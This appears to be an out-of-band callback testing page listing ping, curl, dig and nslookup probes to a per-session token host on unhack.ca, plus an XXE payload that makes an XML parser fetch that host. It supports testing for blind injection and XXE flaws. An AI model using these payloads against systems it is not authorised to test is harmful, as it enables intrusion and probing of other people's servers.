$ ping -c1 -p 00e1925a8c2dfb5de571f3ae676c7c00 unhack.ca
 
$ curl http://unhack.ca/p/e1925a8c2dfb5de571f3ae676c7c
 
$ dig e1925a8c2dfb5de571f3ae676c7c @unhack.ca
 
$ dig e1925a8c2dfb5de571f3ae676c7c.ns.unhack.ca
 
C:\> nslookup e1925a8c2dfb5de571f3ae676c7c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e1925a8c2dfb5de571f3ae676c7c">]>
    <foo>&xxe;</foo>
Waiting for ping...